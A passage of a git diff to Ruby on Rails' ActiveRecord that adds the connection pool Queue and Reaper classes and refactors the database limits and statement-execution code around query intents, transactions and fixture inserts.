-          # which may have been forked.
-          if ancestor_pool = pool_from_any_process_for(spec_name)
-            # A connection was established in an ancestor process that must have
-            # subsequently forked. We can't reuse the connection, but we can copy
-            # the specification and establish a new connection with it.
-            establish_connection(ancestor_pool.spec.to_hash).tap do |pool|
-              pool.schema_cache = ancestor_pool.schema_cache if ancestor_pool.schema_cache
-            end
-          else
-            owner_to_pool[spec_name] = nil
-          end
-        end
-      end
-
-      private
 
-        def owner_to_pool
-          @owner_to_pool[Process.pid]
+        def name_inspect
+          db_config.name.inspect unless db_config.name == "primary"
         end
 
-        def pool_from_any_process_for(spec_name)
-          owner_to_pool = @owner_to_pool.values.reverse.find { |v| v[spec_name] }
-          owner_to_pool && owner_to_pool[spec_name]
+        def shard_inspect
+          shard.inspect unless shard == :default
         end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool/queue.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool/queue.rb
new file mode 100644
index 0000000000000..6b242d98629c9
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool/queue.rb
@@ -0,0 +1,223 @@
+# frozen_string_literal: true
+
+require "monitor"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class ConnectionPool
+      # = Active Record Connection Pool \Queue
+      #
+      # Threadsafe, fair, LIFO queue.  Meant to be used by ConnectionPool
+      # with which it shares a Monitor.
+      class Queue
+        def initialize(lock = Monitor.new)
+          @lock = lock
+          @cond = @lock.new_cond
+          @num_waiting = 0
+          @queue = []
+        end
+
+        # Test if any threads are currently waiting on the queue.
+        def any_waiting?
+          synchronize do
+            @num_waiting > 0
+          end
+        end
+
+        # Returns the number of threads currently waiting on this
+        # queue.
+        def num_waiting
+          synchronize do
+            @num_waiting
+          end
+        end
+
+        # Add +element+ to the queue.  Never blocks.
+        def add(element)
+          synchronize do
+            @queue.push element
+            @cond.signal
+          end
+        end
+
+        # Add +element+ to the back of the queue.  Never blocks.
+        def add_back(element)
+          synchronize do
+            @queue.unshift element
+            @cond.signal
+          end
+        end
+
+        # If +element+ is in the queue, remove and return it, or +nil+.
+        def delete(element)
+          synchronize do
+            @queue.delete(element)
+          end
+        end
+
+        # Remove all elements from the queue.
+        def clear
+          synchronize do
+            @queue.clear
+          end
+        end
+
+        # Number of elements in the queue.
+        def size
+          synchronize do
+            @queue.size
+          end
+        end
+
+        # Remove the head of the queue.
+        #
+        # If +timeout+ is not given, remove and return the head of the
+        # queue if the number of available elements is strictly
+        # greater than the number of threads currently waiting (that
+        # is, don't jump ahead in line).  Otherwise, return +nil+.
+        #
+        # If +timeout+ is given, block if there is no element
+        # available, waiting up to +timeout+ seconds for an element to
+        # become available.
+        #
+        # Raises:
+        # - ActiveRecord::ConnectionTimeoutError if +timeout+ is given and no element
+        # becomes available within +timeout+ seconds,
+        def poll(timeout = nil)
+          synchronize { internal_poll(timeout) }
+        end
+
+        private
+          def internal_poll(timeout)
+            no_wait_poll || (timeout && wait_poll(timeout))
+          end
+
+          def synchronize(&block)
+            @lock.synchronize(&block)
+          end
+
+          # Test if the queue currently contains any elements.
+          def any?
+            !@queue.empty?
+          end
+
+          # A thread can remove an element from the queue without
+          # waiting if and only if the number of currently available
+          # connections is strictly greater than the number of waiting
+          # threads.
+          def can_remove_no_wait?
+            @queue.size > @num_waiting
+          end
+
+          # Removes and returns the head of the queue if possible, or +nil+.
+          def remove
+            @queue.pop
+          end
+
+          # Remove and return the head of the queue if the number of
+          # available elements is strictly greater than the number of
+          # threads currently waiting.  Otherwise, return +nil+.
+          def no_wait_poll
+            remove if can_remove_no_wait?
+          end
+
+          # Waits on the queue up to +timeout+ seconds, then removes and
+          # returns the head of the queue.
+          def wait_poll(timeout)
+            @num_waiting += 1
+
+            t0 = Process.clock_gettime(Process::CLOCK_MONOTONIC)
+            elapsed = 0
+            loop do
+              @cond.wait(timeout - elapsed)
+
+              return remove if any?
+
+              elapsed = Process.clock_gettime(Process::CLOCK_MONOTONIC) - t0
+              if elapsed >= timeout
+                msg = "could not obtain a connection from the pool within %0.3f seconds (waited %0.3f seconds); all pooled connections were in use" %
+                  [timeout, elapsed]
+                raise ConnectionTimeoutError, msg
+              end
+            end
+          ensure
+            @num_waiting -= 1
+          end
+      end
+
+      # Adds the ability to turn a basic fair FIFO queue into one
+      # biased to some thread.
+      module BiasableQueue # :nodoc:
+        class BiasedConditionVariable # :nodoc:
+          # semantics of condition variables guarantee that +broadcast+, +broadcast_on_biased+,
+          # +signal+ and +wait+ methods are only called while holding a lock
+          def initialize(lock, other_cond, preferred_thread)
+            @real_cond = lock.new_cond
+            @other_cond = other_cond
+            @preferred_thread = preferred_thread
+            @num_waiting_on_real_cond = 0
+          end
+
+          def broadcast
+            broadcast_on_biased
+            @other_cond.broadcast
+          end
+
+          def broadcast_on_biased
+            @num_waiting_on_real_cond = 0
+            @real_cond.broadcast
+          end
+
+          def signal
+            if @num_waiting_on_real_cond > 0
+              @num_waiting_on_real_cond -= 1
+              @real_cond
+            else
+              @other_cond
+            end.signal
+          end
+
+          def wait(timeout)
+            if Thread.current == @preferred_thread
+              @num_waiting_on_real_cond += 1
+              @real_cond
+            else
+              @other_cond
+            end.wait(timeout)
+          end
+        end
+
+        def with_a_bias_for(thread)
+          previous_cond = nil
+          new_cond      = nil
+          synchronize do
+            previous_cond = @cond
+            @cond = new_cond = BiasedConditionVariable.new(@lock, @cond, thread)
+          end
+          yield
+        ensure
+          synchronize do
+            @cond = previous_cond if previous_cond
+            new_cond.broadcast_on_biased if new_cond # wake up any remaining sleepers
+          end
+        end
+      end
+
+      # Connections must be leased while holding the main pool mutex. This is
+      # an internal subclass that also +.leases+ returned connections while
+      # still in queue's critical section (queue synchronizes with the same
+      # <tt>@lock</tt> as the main pool) so that a returned connection is already
+      # leased and there is no need to re-enter synchronized block.
+      class ConnectionLeasingQueue < Queue # :nodoc:
+        include BiasableQueue
+
+        private
+          def internal_poll(timeout)
+            conn = super
+            conn.lease if conn
+            conn
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool/reaper.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool/reaper.rb
new file mode 100644
index 0000000000000..26ae3342caf7d
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool/reaper.rb
@@ -0,0 +1,117 @@
+# frozen_string_literal: true
+
+require "weakref"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class ConnectionPool
+      # = Active Record Connection Pool \Reaper
+      #
+      # The reaper is a singleton that exists in the background of the process
+      # and is responsible for general maintenance of all the connection pools.
+      #
+      # It will reclaim connections that are leased to now-dead threads,
+      # ensuring that a bad thread can't leak a pool slot forever. By definition,
+      # this involves touching currently-leased connections, but that is safe
+      # because the owning thread is known to be dead.
+      #
+      # Beyond that, it manages the health of available / unleased connections:
+      #  * retiring connections that have been idle[1] for too long
+      #  * creating occasional activity on inactive[1] connections
+      #  * keeping the pool prepopulated up to its minimum size
+      #  * proactively connecting to the target database from any pooled
+      #    connections that had lazily deferred that step
+      #  * resetting or replacing connections that are known to be broken
+      #
+      #
+      # [1]: "idle" and "inactive" here distinguish between connections that
+      # have not been requested by the application in a while (idle) and those
+      # that have not spoken to their remote server in a while (inactive). The
+      # former is a desirable opportunity to reduce our connection count
+      # (`idle_timeout`); the latter is a risk that the server or a firewall may
+      # drop a connection we still anticipate using (avoided by `keepalive`).
+      class Reaper
+        attr_reader :pool, :frequency
+
+        def initialize(pool, frequency)
+          @pool      = pool
+          @frequency = frequency
+        end
+
+        @mutex = Mutex.new
+        @pools = {}
+        @threads = {}
+
+        class << self
+          def register_pool(pool, frequency) # :nodoc:
+            @mutex.synchronize do
+              unless @threads[frequency]&.alive?
+                @threads[frequency] = spawn_thread(frequency)
+              end
+              @pools[frequency] ||= []
+              @pools[frequency] << WeakRef.new(pool)
+            end
+          end
+
+          def pools(refs = nil) # :nodoc:
+            refs ||= @mutex.synchronize { @pools.values.flatten(1) }
+
+            refs.filter_map do |ref|
+              ref.__getobj__ if ref.weakref_alive?
+            rescue WeakRef::RefError
+            end.select(&:maintainable?)
+          end
+
+          private
+            def spawn_thread(frequency)
+              Thread.new(frequency) do |t|
+                # Advise multi-threaded app servers to ignore this thread for
+                # the purposes of fork safety warnings
+                Thread.current.thread_variable_set(:fork_safe, true)
+                Thread.current.name = "AR Pool Reaper"
+                running = true
+                while running
+                  sleep t
+
+                  refs = nil
+
+                  @mutex.synchronize do
+                    refs = @pools[frequency]
+
+                    refs.select! do |pool|
+                      pool.weakref_alive? && !pool.discarded?
+                    rescue WeakRef::RefError
+                    end
+
+                    if refs.empty?
+                      @pools.delete(frequency)
+                      @threads.delete(frequency)
+                      running = false
+                    end
+                  end
+
+                  if running
+                    pools(refs).each do |pool|
+                      pool.reaper_lock do
+                        pool.reap
+                        pool.flush
+                        pool.prepopulate
+                        pool.retire_old_connections
+                        pool.keep_alive
+                        pool.preconnect
+                      end
+                    end
+                  end
+                end
+              end
+            end
+        end
+
+        def run
+          return unless frequency && frequency > 0
+          self.class.register_pool(pool, frequency)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb
index 407e01932647f..be58e98c51afd 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb
@@ -1,65 +1,31 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters # :nodoc:
     module DatabaseLimits
-      # Returns the maximum length of a table alias.
-      def table_alias_length
-        255
-      end
-
-      # Returns the maximum length of a column name.
-      def column_name_length
+      def max_identifier_length # :nodoc:
         64
       end
 
       # Returns the maximum length of a table name.
       def table_name_length
-        64
+        max_identifier_length
       end
 
-      # Returns the maximum allowed length for an index name. This
-      # limit is enforced by \Rails and is less than or equal to
-      # #index_name_length. The gap between
-      # #index_name_length is to allow internal \Rails
-      # operations to use prefixes in temporary operations.
-      def allowed_index_name_length
-        index_name_length
+      # Returns the maximum length of a table alias.
+      def table_alias_length
+        max_identifier_length
       end
 
       # Returns the maximum length of an index name.
       def index_name_length
-        64
-      end
-
-      # Returns the maximum number of columns per table.
-      def columns_per_table
-        1024
-      end
-
-      # Returns the maximum number of indexes per table.
-      def indexes_per_table
-        16
-      end
-
-      # Returns the maximum number of columns in a multicolumn index.
-      def columns_per_multicolumn_index
-        16
+        max_identifier_length
       end
 
-      # Returns the maximum number of elements in an IN (x,y,z) clause.
-      # +nil+ means no limit.
-      def in_clause_length
-        nil
-      end
-
-      # Returns the maximum length of an SQL query.
-      def sql_query_length
-        1048575
-      end
-
-      # Returns maximum number of joins in a single query.
-      def joins_per_query
-        256
-      end
+      private
+        def bind_params_length
+          65535
+        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
index 769f488469d21..ff06a252c9885 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters # :nodoc:
     module DatabaseStatements
@@ -7,53 +9,95 @@ def initialize
       end
 
       # Converts an arel AST to SQL
-      def to_sql(arel, binds = [])
-        if arel.respond_to?(:ast)
-          collected = visitor.accept(arel.ast, collector)
-          collected.compile(binds, self).freeze
+      def to_sql(arel_or_sql_string, binds = [])
+        sql, _ = to_sql_and_binds(arel_or_sql_string, binds)
+        sql
+      end
+
+      def to_sql_and_binds(arel_or_sql_string, binds = [], preparable = nil, allow_retry = false) # :nodoc:
+        # Arel::TreeManager -> Arel::Node
+        if arel_or_sql_string.respond_to?(:ast)
+          arel_or_sql_string = arel_or_sql_string.ast
+        end
+
+        if Arel.arel_node?(arel_or_sql_string) && !(String === arel_or_sql_string)
+          unless binds.empty?
+            raise "Passing bind parameters with an arel AST is forbidden. " \
+              "The values must be stored on the AST directly"
+          end
+
+          collector = collector()
+          collector.retryable = true
+
+          if prepared_statements
+            collector.preparable = true
+            sql, binds = visitor.compile(arel_or_sql_string, collector)
+
+            if binds.length > bind_params_length
+              unprepared_statement do
+                return to_sql_and_binds(arel_or_sql_string)
+              end
+            end
+            preparable = collector.preparable
+          else
+            sql = visitor.compile(arel_or_sql_string, collector)
+          end
+          allow_retry = collector.retryable
+          [sql.freeze, binds, preparable, allow_retry]
         else
-          arel.dup.freeze
+          arel_or_sql_string = arel_or_sql_string.dup.freeze unless arel_or_sql_string.frozen?
+          [arel_or_sql_string, binds, preparable, allow_retry]
         end
       end
 
       # This is used in the StatementCache object. It returns an object that
       # can be used to query the database repeatedly.
       def cacheable_query(klass, arel) # :nodoc:
-        collected = visitor.accept(arel.ast, collector)
         if prepared_statements
-          klass.query(collected.value)
+          collector = collector()
+          collector.retryable = true
+          sql, binds = visitor.compile(arel.ast, collector)
+          query = klass.query(sql, retryable: collector.retryable)
         else
-          klass.partial_query(collected.value)
+          collector = klass.partial_query_collector
+          collector.retryable = true
+          parts, binds = visitor.compile(arel.ast, collector)
+          query = klass.partial_query(parts, retryable: collector.retryable)
         end
+        [query, binds]
       end
 
       # Returns an ActiveRecord::Result instance.
-      def select_all(arel, name = nil, binds = [], preparable: nil)
-        arel, binds = binds_from_relation arel, binds
-        sql = to_sql(arel, binds)
-        if !prepared_statements || (arel.is_a?(String) && preparable.nil?)
-          preparable = false
-        else
-          preparable = visitor.preparable
-        end
-        if prepared_statements && preparable
-          select_prepared(sql, name, binds)
+      def select_all(arel, name = nil, binds = [], preparable: nil, async: false, allow_retry: false)
+        arel = arel_from_relation(arel)
+        intent = QueryIntent.new(
+          adapter: self,
+          arel: arel,
+          name: name,
+          binds: binds,
+          prepare: preparable,
+          allow_async: async,
+          allow_retry: allow_retry
+        )
+
+        intent.execute!
+
+        if async
+          intent.future_result
         else
-          select(sql, name, binds)
+          intent.cast_result
         end
       end
 
       # Returns a record hash with the column names as keys and column values
       # as values.
-      def select_one(arel, name = nil, binds = [])
-        select_all(arel, name, binds).first
+      def select_one(arel, name = nil, binds = [], async: false)
+        select_all(arel, name, binds, async: async).then(&:first)
       end
 
       # Returns a single value from a record
-      def select_value(arel, name = nil, binds = [])
-        if result = select_rows(arel, name, binds).first
-          result.first
-        end
+      def select_value(arel, name = nil, binds = [], async: false)
+        select_rows(arel, name, binds, async: async).then { |rows| single_value_from_rows(rows) }
       end
 
       # Returns an array of the values of the first column in a select:
@@ -64,51 +108,125 @@ def select_values(arel, name = nil, binds = [])
 
       # Returns an array of arrays containing the field values.
       # Order is the same as that returned by +columns+.
-      def select_rows(arel, name = nil, binds = [])
-        select_all(arel, name, binds).rows
+      def select_rows(arel, name = nil, binds = [], async: false)
+        select_all(arel, name, binds, async: async).then(&:rows)
+      end
+
+      def query_value(...) # :nodoc:
+        single_value_from_rows(query_rows(...))
+      end
+
+      def query_values(...) # :nodoc:
+        query_rows(...).map(&:first)
+      end
+
+      def query_one(...) # :nodoc:
+        query_all(...).first
+      end
+
+      def query_rows(...) # :nodoc:
+        query_all(...).rows
+      end
+
+      def query_all(sql, name = "SCHEMA", allow_retry: true, materialize_transactions: false) # :nodoc:
+        intent = internal_build_intent(sql, name, allow_retry:, materialize_transactions:)
+        intent.execute!
+        intent.cast_result
+      end
+
+      def query_command(sql, name = nil, allow_retry: false, materialize_transactions: true) # :nodoc:
+        intent = internal_build_intent(sql, name, allow_retry: allow_retry, materialize_transactions: materialize_transactions)
+        intent.execute!
+        intent.finish
+      end
+
+      # Determines whether the SQL statement is a write query.
+      def write_query?(sql)
+        raise NotImplementedError
       end
 
       # Executes the SQL statement in the context of this connection and returns
       # the raw result from the connection adapter.
+      #
+      # Setting +allow_retry+ to true causes the db to reconnect and retry
+      # executing the SQL statement in case of a connection-related exception.
+      # This option should only be enabled for known idempotent queries.
+      #
+      # Note: the query is assumed to have side effects and the query cache
+      # will be cleared. If the query is read-only, consider using #select_all
+      # instead.
+      #
       # Note: depending on your database connector, the result returned by this
-      # method may be manually memory managed. Consider using the exec_query
+      # method may be manually memory managed. Consider using #exec_query
       # wrapper instead.
-      def execute(sql, name = nil)
-        raise NotImplementedError
+      def execute(sql, name = nil, allow_retry: false)
+        intent = internal_build_intent(sql, name, allow_retry: allow_retry)
+        intent.execute!
+        intent.raw_result
       end
 
       # Executes +sql+ statement in the context of this connection using
       # +binds+ as the bind substitutes. +name+ is logged along with
       # the executed +sql+ statement.
+      #
+      # Note: the query is assumed to have side effects and the query cache
+      # will be cleared. If the query is read-only, consider using #select_all
+      # instead.
       def exec_query(sql, name = "SQL", binds = [], prepare: false)
-        raise NotImplementedError
+        intent = internal_build_intent(sql, name, binds, prepare: prepare)
+        intent.execute!
+        intent.cast_result
       end
 
       # Executes insert +sql+ statement in the context of this connection using
       # +binds+ as the bind substitutes. +name+ is logged along with
       # the executed +sql+ statement.
-      def exec_insert(sql, name = nil, binds = [], pk = nil, sequence_name = nil)
-        sql, binds = sql_for_insert(sql, pk, nil, sequence_name, binds)
-        exec_query(sql, name, binds)
+      # Some adapters support the `returning` keyword argument which allows to control the result of the query:
+      # `nil` is the default value and maintains default behavior. If an array of column names is passed -
+      # the result will contain values of the specified columns from the inserted row.
+      def exec_insert(sql, name = nil, binds = [], pk = nil, sequence_name = nil, returning: nil)
+        intent = QueryIntent.new(adapter: self, raw_sql: sql, name: name, binds: binds)
+
+        _exec_insert(intent, pk, sequence_name, returning: returning)
+      end
+
+      def _exec_insert(intent, pk = nil, sequence_name = nil, returning: nil) # :nodoc:
+        sql, binds = sql_for_insert(intent.raw_sql, pk, intent.binds, returning)
+        intent.raw_sql = sql
+        intent.binds = binds
+
+        intent.execute!
+        intent.cast_result
       end
 
       # Executes delete +sql+ statement in the context of this connection using
       # +binds+ as the bind substitutes. +name+ is logged along with
       # the executed +sql+ statement.
       def exec_delete(sql, name = nil, binds = [])
-        exec_query(sql, name, binds)
-      end
-
-      # Executes the truncate statement.
-      def truncate(table_name, name = nil)
-        raise NotImplementedError
+        intent = internal_build_intent(sql, name, binds)
+        intent.execute!
+        intent.affected_rows
       end
 
       # Executes update +sql+ statement in the context of this connection using
       # +binds+ as the bind substitutes. +name+ is logged along with
       # the executed +sql+ statement.
       def exec_update(sql, name = nil, binds = [])
-        exec_query(sql, name, binds)
+        intent = internal_build_intent(sql, name, binds)
+        intent.execute!
+        intent.affected_rows
+      end
+
+      deprecate :exec_insert, :exec_delete, :exec_update, deprecator: ActiveRecord.deprecator
+
+      def exec_insert_all(sql, name) # :nodoc:
+        intent = internal_build_intent(sql, name)
+        intent.execute!
+        intent.cast_result
+      end
+
+      def explain(arel, binds = [], options = []) # :nodoc:
+        raise NotImplementedError
       end
 
       # Executes an INSERT query and returns the new record's ID
@@ -119,42 +237,92 @@ def exec_update(sql, name = nil, binds = [])
       #
       # If the next id was calculated in advance (as in Oracle), it should be
       # passed in as +id_value+.
-      def insert(arel, name = nil, pk = nil, id_value = nil, sequence_name = nil, binds = [])
-        value = exec_insert(to_sql(arel, binds), name, binds, pk, sequence_name)
+      # Some adapters support the `returning` keyword argument which allows defining the return value of the method:
+      # `nil` is the default value and maintains default behavior. If an array of column names is passed -
+      # an array of is returned from the method representing values of the specified columns from the inserted row.
+      def insert(arel, name = nil, pk = nil, id_value = nil, sequence_name = nil, binds = [], returning: nil)
+        intent = QueryIntent.new(adapter: self, arel: arel, name: name, binds: binds)
+
+        value = _exec_insert(intent, pk, sequence_name, returning: returning)
+
+        return returning_column_values(value) unless returning.nil?
+
         id_value || last_inserted_id(value)
       end
       alias create insert
 
       # Executes the update statement and returns the number of rows affected.
       def update(arel, name = nil, binds = [])
-        exec_update(to_sql(arel, binds), name, binds)
+        intent = QueryIntent.new(adapter: self, arel: arel, name: name, binds: binds)
+
+        intent.execute!
+        intent.affected_rows
       end
 
       # Executes the delete statement and returns the number of rows affected.
       def delete(arel, name = nil, binds = [])
-        exec_delete(to_sql(arel, binds), name, binds)
+        intent = QueryIntent.new(adapter: self, arel: arel, name: name, binds: binds)
+
+        intent.execute!
+        intent.affected_rows
       end
 
-      # Returns +true+ when the connection adapter supports prepared statement
-      # caching, otherwise returns +false+
-      def supports_statement_cache?
-        false
+      # Executes the truncate statement.
+      def truncate(table_name, name = nil)
+        execute(build_truncate_statement(table_name), name)
+      end
+
+      def truncate_tables(*table_names) # :nodoc:
+        table_names -= [pool.schema_migration.table_name, pool.internal_metadata.table_name]
+
+        return if table_names.empty?
+
+        disable_referential_integrity do
+          statements = build_truncate_statements(table_names)
+          execute_batch(statements, "Truncate Tables")
+        end
       end
 
       # Runs the given block in a database transaction, and returns the result
       # of the block.
       #
+      # == Transaction callbacks
+      #
+      # #transaction yields an ActiveRecord::Transaction object on which it is
+      # possible to register callback:
+      #
+      #   ActiveRecord::Base.transaction do |transaction|
+      #     transaction.before_commit { puts "before commit!" }
+      #     transaction.after_commit { puts "after commit!" }
+      #     transaction.after_rollback { puts "after rollback!" }
+      #   end
+      #
       # == Nested transactions support
       #
+      # #transaction calls can be nested. By default, this makes all database
+      # statements in the nested transaction block become part of the parent
+      # transaction. For example, the following behavior may be surprising:
+      #
+      #   ActiveRecord::Base.transaction do
+      #     Post.create(title: 'first')
+      #     ActiveRecord::Base.transaction do
+      #       Post.create(title: 'second')
+      #       raise ActiveRecord::Rollback
+      #     end
+      #   end
+      #
+      # This creates both "first" and "second" posts. Reason is the
+      # ActiveRecord::Rollback exception in the nested block does not issue a
+      # ROLLBACK. Since these exceptions are captured in transaction blocks,
+      # the parent block does not see it and the real transaction is committed.
+      #
       # Most databases don't support true nested transactions. At the time of
       # writing, the only database that supports true nested transactions that
       # we're aware of, is MS-SQL.
       #
       # In order to get around this problem, #transaction will emulate the effect
       # of nested transactions, by using savepoints:
-      # http://dev.mysql.com/doc/refman/5.7/en/savepoint.html
-      # Savepoints are supported by MySQL and PostgreSQL. SQLite3 version >= '3.6.8'
-      # supports savepoints.
+      # https://dev.mysql.com/doc/refman/en/savepoint.html.
       #
       # It is safe to call this method if a database transaction is already open,
       # i.e. if #transaction is called within another #transaction block. In case
@@ -166,6 +334,24 @@ def supports_statement_cache?
       # - However, if +:requires_new+ is set, the block will be wrapped in a
       #   database savepoint acting as a sub-transaction.
       #
+      # In order to get a ROLLBACK for the nested transaction you may ask for a
+      # real sub-transaction by passing <tt>requires_new: true</tt>.
+      # If anything goes wrong, the database rolls back to the beginning of
+      # the sub-transaction without rolling back the parent transaction.
+      # If we add it to the previous example:
+      #
+      #   ActiveRecord::Base.transaction do
+      #     Post.create(title: 'first')
+      #     ActiveRecord::Base.transaction(requires_new: true) do
+      #       Post.create(title: 'second')
+      #       raise ActiveRecord::Rollback
+      #     end
+      #   end
+      #
+      # only post with title "first" is created.
+      #
+      # See ActiveRecord::Transactions to learn more.
+      #
       # === Caveats
       #
       # MySQL doesn't support DDL transactions. If you perform a DDL operation,
@@ -178,9 +364,9 @@ def supports_statement_cache?
       # #transaction will raise exceptions when it tries to release the
       # already-automatically-released savepoints:
       #
-      #   Model.connection.transaction do  # BEGIN
-      #     Model.connection.transaction(requires_new: true) do  # CREATE SAVEPOINT active_record_1
-      #       Model.connection.create_table(...)
+      #   Model.lease_connection.transaction do  # BEGIN
+      #     Model.lease_connection.transaction(requires_new: true) do  # CREATE SAVEPOINT active_record_1
+      #       Model.lease_connection.create_table(...)
       #       # active_record_1 now automatically released
       #     end  # RELEASE SAVEPOINT active_record_1  <--- BOOM! database error!
       #   end
@@ -204,8 +390,8 @@ def supports_statement_cache?
       # You should consult the documentation for your database to understand the
       # semantics of these different levels:
       #
-      # * http://www.postgresql.org/docs/current/static/transaction-iso.html
-      # * https://dev.mysql.com/doc/refman/5.7/en/set-transaction.html
+      # * https://www.postgresql.org/docs/current/static/transaction-iso.html
+      # * https://dev.mysql.com/doc/refman/en/set-transaction.html
       #
       # An ActiveRecord::TransactionIsolationError will be raised if:
       #
@@ -213,53 +399,101 @@ def supports_statement_cache?
       # * You are joining an existing open transaction
       # * You are creating a nested (savepoint) transaction
       #
-      # The mysql2 and postgresql adapters support setting the transaction
+      # The mysql2, trilogy, and postgresql adapters support setting the transaction
       # isolation level.
-      def transaction(requires_new: nil, isolation: nil, joinable: true)
+      #  :args: (requires_new: nil, isolation: nil, &block)
+      def transaction(requires_new: nil, isolation: nil, joinable: true, &block)
+        # If we're running inside the single, non-joinable transaction that
+        # ActiveRecord::TestFixtures starts around each example (depth == 1),
+        # an `isolation:` hint must be validated then ignored so that the
+        # adapter isn't asked to change the isolation level mid-transaction.
+        isolation_override = false
+        if isolation && open_transactions == 1 && !current_transaction.joinable?
+          iso = isolation.to_sym
+
+          unless transaction_isolation_levels.include?(iso)
+            raise ActiveRecord::TransactionIsolationError,
+                  "invalid transaction isolation level: #{iso.inspect}"
+          end
+
+          isolation_override = true
+          old_isolation = current_transaction.isolation
+          current_transaction.isolation = iso
+          isolation = nil
+        end
+
         if !requires_new && current_transaction.joinable?
-          if isolation
+          if isolation && current_transaction.isolation != isolation
             raise ActiveRecord::TransactionIsolationError, "cannot set isolation when joining a transaction"
           end
-          yield
+          yield current_transaction.user_transaction
         else
-          transaction_manager.within_new_transaction(isolation: isolation, joinable: joinable) { yield }
+          within_new_transaction(isolation: isolation, joinable: joinable, &block)
         end
       rescue ActiveRecord::Rollback
         # rollbacks are silently swallowed
+      ensure
+        current_transaction.isolation = old_isolation if isolation_override
       end
 
-      attr_reader :transaction_manager #:nodoc:
+      attr_reader :transaction_manager # :nodoc:
 
-      delegate :within_new_transaction, :open_transactions, :current_transaction, :begin_transaction, :commit_transaction, :rollback_transaction, to: :transaction_manager
+      delegate :within_new_transaction, :open_transactions, :current_transaction, :begin_transaction,
+               :commit_transaction, :rollback_transaction, :materialize_transactions,
+               :disable_lazy_transactions!, :enable_lazy_transactions!, :dirty_current_transaction,
+               to: :transaction_manager
 
       def transaction_open?
         current_transaction.open?
       end
 
-      def reset_transaction #:nodoc:
+      def reset_transaction(restore: false) # :nodoc:
+        # Store the existing transaction state to the side
+        old_state = @transaction_manager if restore && @transaction_manager&.restorable?
+
         @transaction_manager = ConnectionAdapters::TransactionManager.new(self)
+
+        if block_given?
+          # Reconfigure the connection without any transaction state in the way
+          result = yield
+
+          # Now the connection's fully established, we can swap back
+          if old_state
+            @transaction_manager = old_state
+            @transaction_manager.restore_transactions
+          end
+
+          result
+        end
       end
 
       # Register a record with the current transaction so that its after_commit and after_rollback callbacks
       # can be called.
-      def add_transaction_record(record)
-        current_transaction.add_record(record)
-      end
-
-      def transaction_state
-        current_transaction.state
+      def add_transaction_record(record, ensure_finalize = true)
+        current_transaction.add_record(record, ensure_finalize)
       end
 
       # Begins the transaction (and turns off auto-committing).
       def begin_db_transaction()    end
 
+      def begin_deferred_transaction(isolation_level = nil) # :nodoc:
+        if isolation_level
+          begin_isolated_db_transaction(isolation_level)
+        else
+          begin_db_transaction
+        end
+      end
+
+      TRANSACTION_ISOLATION_LEVELS = {
+        read_uncommitted: "READ UNCOMMITTED",
+        read_committed:   "READ COMMITTED",
+        repeatable_read:  "REPEATABLE READ",
+        serializable:     "SERIALIZABLE"
+      }.freeze
+      private_constant :TRANSACTION_ISOLATION_LEVELS
+
       def transaction_isolation_levels
-        {
-          read_uncommitted: "READ UNCOMMITTED",
-          read_committed:   "READ COMMITTED",
-          repeatable_read:  "REPEATABLE READ",
-          serializable:     "SERIALIZABLE"
-        }
+        TRANSACTION_ISOLATION_LEVELS
       end
 
       # Begins the transaction with the isolation level set. Raises an error by
@@ -269,6 +503,15 @@ def begin_isolated_db_transaction(isolation)
         raise ActiveRecord::TransactionIsolationError, "adapter does not support setting transaction isolation"
       end
 
+      # Hook point called after an isolated DB transaction is committed
+      # or rolled back.
+      # Most adapters don't need to implement anything because the isolation
+      # level is set on a per transaction basis.
+      # But some databases like SQLite set it on a per connection level
+      # and need to explicitly reset it after commit or rollback.
+      def reset_isolation_level
+      end
+
       # Commits the transaction (and turns on auto-committing).
       def commit_db_transaction()   end
 
@@ -276,9 +519,17 @@ def commit_db_transaction()   end
       # done if the transaction block raises an exception or returns false.
       def rollback_db_transaction
         exec_rollback_db_transaction
+      rescue ActiveRecord::ConnectionNotEstablished, ActiveRecord::ConnectionFailed
+        # Connection's gone; that counts as a rollback
       end
 
-      def exec_rollback_db_transaction() end #:nodoc:
+      def exec_rollback_db_transaction() end # :nodoc:
+
+      def restart_db_transaction
+        exec_restart_db_transaction
+      end
+
+      def exec_restart_db_transaction() end # :nodoc:
 
       def rollback_to_savepoint(name = nil)
         exec_rollback_to_savepoint(name)
@@ -294,91 +545,238 @@ def reset_sequence!(table, column, sequence = nil)
       end
 
       # Inserts the given fixture into the table. Overridden in adapters that require
-      # something beyond a simple insert (eg. Oracle).
+      # something beyond a simple insert (e.g. Oracle).
+      # Most of adapters should implement +insert_fixtures_set+ that leverages bulk SQL insert.
+      # We keep this method to provide fallback
+      # for databases like SQLite that do not support bulk inserts.
       def insert_fixture(fixture, table_name)
-        fixture = fixture.stringify_keys
+        execute(build_fixture_sql(Array.wrap(fixture), table_name), "Fixture Insert")
+      end
 
-        columns = schema_cache.columns_hash(table_name)
-        binds = fixture.map do |name, value|
-          if column = columns[name]
-            type = lookup_cast_type_from_column(column)
-            Relation::QueryAttribute.new(name, value, type)
-          else
-            raise Fixture::FixtureError, %(table "#{table_name}" has no column named #{name.inspect}.)
-          end
-        end
-        key_list = fixture.keys.map { |name| quote_column_name(name) }
-        value_list = binds.map(&:value_for_database).map do |value|
-          begin
-            quote(value)
